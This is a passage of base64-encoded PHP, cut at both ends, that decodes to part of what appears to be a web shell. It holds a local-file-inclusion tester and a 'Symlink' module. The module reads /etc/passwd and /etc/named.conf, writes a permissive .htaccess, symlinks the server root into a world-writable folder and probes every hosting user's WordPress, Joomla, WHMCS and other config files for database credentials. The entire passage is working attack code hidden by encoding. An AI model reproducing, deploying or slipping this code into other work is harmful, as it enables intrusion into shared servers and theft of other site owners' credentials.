Q+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOwogICAgICAgICAgICAgICAgd2hpbGUoJGxmaW15c3FsWyR4XSkgewogICAgICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpbXlzcWxbJHhdKTsKICAgICAgICAgICAgICAgICAgICAkcmhhc2gzID0gbWQ1KCRyZXMzKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlteXNxbFskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiI8L2E+PGJyICAvPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiI8YnIgIC8+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHgrKzsKICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgICAgIGlmICggJHR5cGUgPT0gNiApIHsKICAgICAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7CiAgICAgICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsKICAgICAgICAgICAgICAgICRyaGFzaDEgPSBtZDUoJHJlczEpOwogICAgICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7CiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEV4cGxvaXRhYmxlITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iXCI+Ii4kdGFyZ2V0LiIiLiRsZml0ZXN0LiI8L2E+PGJyICAvPiI7CiAgICAgICAgICAgICAgICB3aGlsZSgkbGZpZnRwWyR4XSkgewogICAgICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpZnRwWyR4XSk7CiAgICAgICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRyaGFzaDMgIT0gJHJoYXNoMikgewogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiI8L2E+PGJyICAvPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdyZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iPGJyICAvPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR4Kys7CiAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICBpZiAoICR0eXBlID09IDcgKSB7CiAgICAgICAgICAgICAgICAkcmVzMSA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QpOwogICAgICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7CiAgICAgICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsKICAgICAgICAgICAgICAgICRyaGFzaDIgPSBtZDUoJHJlczIpOwogICAgICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgewogICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iO3sKICAgICAgICAgICAgICAgICAgICAkcmVzMyA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXByb2NlbnYpOwogICAgICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOwogICAgICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsKICAgICAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRmlsZSBkZXRlY3RlZCE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIlwiPiIuJHRhcmdldC4iIi4kbGZpcHJvY2Vudi4iPC9hPjxiciAgLz4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIjxiciAgLz4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgIHByaW50Rm9vdGVyKCk7CiAgICB9CQkJCQkJCQkJCQkJCQkJCQoKZnVuY3Rpb24gYWN0aW9uU3ltbGluaygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBlY2hvICc8aDE+U3ltbGluazwvaDE+JzsKICAgICRmdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgJGV4cGxkID0gZXhwbG9kZSgnLycsJGZ1cmwgKTsKICAgICRidXJsID1zdHJfcmVwbGFjZShlbmQoJGV4cGxkKSwnJywkZnVybCk7ICAKICAgIAogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+PGNlbnRlcj4KICAgICAgICAgICAgICAgIDxoMz5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxcJ3dlYnNpdGVcJyxudWxsKSI+RG9tYWluczwvYT4gXSAtIAogICAgICAgICAgICAgICAgICAgIFsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2hvbGVcJyxudWxsKSI+V2hvbGUgU2VydmVyIFN5bWxpbms8c3VwIHN0eWxlPSJjb2xvcjpyZWQ7dGV4dC1kZWNvcmF0aW9uOmJsaW5rOyI+PC9zdXA+PC9hPiBdIC0gCiAgICAgICAgICAgICAgICAgICAgWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsXCdjb25maWdcJyxudWxsKSI+Q29uZmlnIGZpbGVzIHN5bWxpbms8L2E+IF08L2gzPjwvY2VudGVyPic7CiAgICAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkgJiYgJF9QT1NUWydwMSddPT0nd2Vic2l0ZScpCiAgICB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4iOwogICAgICAgICRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwogICAgICAgIGlmKCEkZDBtYWlucyl7IAogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPkNhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgY2xhc3M9J21haW4nIGJvcmRlcj0wID48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlcnMgPC90aD48L3RyPiI7CiAgICAgICAgICAgIAogICAgICAgICAgICAkdW5rID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgiem9uZSIsJGQwbWFpbikpewogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewogICAgICAgICAgICAgICAgICAgICAgICAkdW5rW10gPSAkZG9tYWluc1sxXVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb3VudD0xOwogICAgICAgICAgICAkdW5rID0gYXJyYXlfdW5pcXVlKCR1bmspOwogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICBmb3JlYWNoKCR1bmsgYXMgJGQpewogICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGQpKTsKICAgICAgICAgICAgICAgIGVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vIi4kZC4iLz4iLiRkLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7IAogICAgfQogCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dob2xlJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgQG1rZGlyKCdCSFBfc3ltJywwNzc3KTsKICAgICAgICAkaGR0ICA9ICJPcHRpb25zIGFsbFxuRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWxcbkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwXG5BZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocFxuQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sXG5BZGRIYW5kbGVyIHR4dCAuaHRtbFxuUmVxdWlyZSBOb25lXG5TYXRpc2Z5IEFueSI7CiAgICAgICAgJGhmcCA9QGZvcGVuICgnQkhQX3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CiAgICAgICAgZndyaXRlKCRoZnAgLCRoZHQpOwogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7CiAgICAgICAgICAgIEBzeW1saW5rKCcvJywnQkhQX3N5bS9yb290Jyk7CiAgICAgICAgfQogICAgICAgICRkMG1haW5zID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOwogICAgICAgIGlmKCEkZDBtYWlucykgewogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJGR0ID0gZmlsZSgnL2V0Yy9wYXNzd2QnKTsKICAgICAgICAgICAgJGw9MDsKICAgICAgICAgICAgZm9yZWFjaCgkZHQgYXMgJGQpIHsKICAgICAgICAgICAgICAgICRyID0gZXhwbG9kZSgnOicsJGQpOwogICAgICAgICAgICAgICAgaWYoc3RycG9zKCRyWzVdLCdob21lJykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHIiLigkbD8nIGNsYXNzPWwxJzonJykuIj48dGQ+Ii4kai4iPC90ZD48dGQ+LS0tPC90ZD48dGQ+Ii4kclswXS4iPC90ZD48dGQ+PGEgaHJlZj0nQkhQX3N5bS9yb290Ii4kcls1XS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+c3ltbGluazwvYT48L3RkPjwvdHI+IjsKICAgICAgICAgICAgICAgICAgICAkbD0kbD8wOjE7CiAgICAgICAgICAgICAgICAgICAgJGorKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAgICAgICAgICAgIAogICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJGNvdW50PTE7CiAgICAgICAgICAgICRtY2sgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSkgPjIpewogICAgICAgICAgICAgICAgICAgICAgICAkbWNrW10gPSAkZG9tYWluWzFdWzBdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkbWNrID0gYXJyYXlfdW5pcXVlKCRtY2spOwogICAgICAgICAgICAkdXNyID0gYXJyYXkoKTsKICAgICAgICAgICAgJGRtbiA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2goJG1jayBhcyAkbykgewogICAgICAgICAgICAgICAgJGluZm9zID0gQHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRvKSk7CiAgICAgICAgICAgICAgICAkdXNyW10gPSAkaW5mb3NbJ25hbWUnXTsKICAgICAgICAgICAgICAgICRkbW5bXSA9ICRvOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGFycmF5X211bHRpc29ydCgkdXNyLCRkbW4pOwogICAgICAgICAgICAkZHQgPSBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgICAgICAkcGFzc3dkID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCgkZHQgYXMgJGQpIHsKICAgICAgICAgICAgICAgICRyID0gZXhwbG9kZSgnOicsJGQpOwogICAgICAgICAgICAgICAgaWYoc3RycG9zKCRyWzVdLCdob21lJykpIHsKICAgICAgICAgICAgICAgICAgICAkcGFzc3dkWyRyWzBdXSA9ICRyWzVdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRsPTA7CiAgICAgICAgICAgICRqPTE7CiAgICAgICAgICAgIGZvcmVhY2goJHVzciBhcyAkcikgewogICAgICAgICAgICAgICAgZWNobyAiPHRyIi4oJGw/JyBjbGFzcz1sMSc6JycpLiI+PHRkPiIuJGNvdW50KysuIjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovLyIuJGRtblskai0xXS4nLz4nLiRkbW5bJGotMV0uJyA8L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4nLiRyLiI8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxhIGhyZWY9J0JIUF9zeW0vcm9vdCIuJHBhc3N3ZFskcl0uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbms8L2E+PC90ZD48L3RyPiI7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgJGw9JGw/MDoxOwogICAgICAgICAgICAgICAgJGorKzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7ICAgIAogICAgfQogCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J2NvbmZpZycpCiAgICB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4iOwogICAgICAgIEBta2RpcignQkhQX3N5bScsMDc3Nyk7CiAgICAgICAgJGhkdCA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiAgICAgICAgJGhmcCA9IEBmb3BlbiAoJ0JIUF9zeW0vLmh0YWNjZXNzJywndycpOwogICAgICAgIEBmd3JpdGUoJGhmcCAsJGhkdCk7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsKICAgICAgICAgICAgQHN5bWxpbmsoJy8nLCdCSFBfc3ltL3Jvb3QnKTsKICAgICAgICB9CiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7CiAgICAgICAgaWYoISRkMG1haW5zKSB7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW4gPC90aDx0aD4gVXNlciA8L3RoPj48dGg+IFNjcmlwdCA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJGNvdW50ID0gMTsKICAgICAgICAgICAgJGw9MDsKICAgICAgICAgICAgZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKICAgICAgICAgICAgICAgIGlmKEBlcmVnaSgnem9uZScsJGQwbWFpbikpewogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOwogICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpblsxXVswXSkpPjIpewogICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluWzFdWzBdKSk7CgogICAgICAgICAgICAgICAgICAgICAgICAkYzEgPSAkYnVybC4nL0JIUF9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMSA9IGdldF9oZWFkZXJzKCRjMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAxID0gJGNoMDFbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMiA9ICRidXJsLicvQkhQX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDIgPSBnZXRfaGVhZGVycygkYzIpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMiA9ICRjaDAyWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzMgPSAkYnVybC4nL0JIUF9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDMgPSBnZXRfaGVhZGVycygkYzMpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwMyA9ICRjaDAzWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzQgPSAkYnVybC4nL0JIUF9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA0ID0gZ2V0X2hlYWRlcnMoJGM0KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDQgPSAkY2gwNFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM1ID0gJGJ1cmwuJy9CSFBfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDUgPSBnZXRfaGVhZGVycygkYzUpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNSA9ICRjaDA1WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzYgPSAkYnVybC4nL0JIUF9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNiA9IGdldF9oZWFkZXJzKCRjNik7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA2ID0gJGNoMDZbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjNyA9ICRidXJsLicvQkhQX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA3ID0gZ2V0X2hlYWRlcnMoJGM3KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDcgPSAkY2gwN1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM4ID0gJGJ1cmwuJy9CSFBfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwOCA9IGdldF9oZWFkZXJzKCRjOCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA4ID0gJGNoMDhbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjOSA9ICRidXJsLicvQkhQX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA5ID0gZ2V0X2hlYWRlcnMoJGM5KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDkgPSAkY2gwOVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMCA9ICRidXJsLicvQkhQX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTAgPSBnZXRfaGVhZGVycygkYzEwKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTAgPSAkY2gxMFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMSA9ICRidXJsLicvQkhQX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDExID0gZ2V0X2hlYWRlcnMoJGMxMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjExID0gJGNoMTFbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTIgPSAkYnVybC4nL0JIUF9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEyID0gZ2V0X2hlYWRlcnMoJGMxMik7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjEyID0gJGNoMTJbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTMgPSAkYnVybC4nL0JIUF9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMyA9IGdldF9oZWFkZXJzKCRjMTMpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMyA9ICRjaDEzWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzE0ID0gJGJ1cmwuJy9CSFBfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2FwcF9jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTQgPSBnZXRfaGVhZGVycygkYzE0KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTQgPSAkY2gxNFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxNSA9ICRidXJsLicvQkhQX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxNSA9IGdldF9oZWFkZXJzKCRjMTUpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNSA9ICRjaDE1WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9ICcmbmJzcDsnOwogICAgICAgICAgICAgICAgICAgICAgICBpZihzdHJwb3MoJGNmMDEsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiPGEgaHJlZj0nIi4kYzEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICI8YSBocmVmPSciLiRjMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7ICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlICYmIHN0cnBvcygkY2YxMSwnMjAwJykgPT0gdHJ1ZSkgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwOSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiR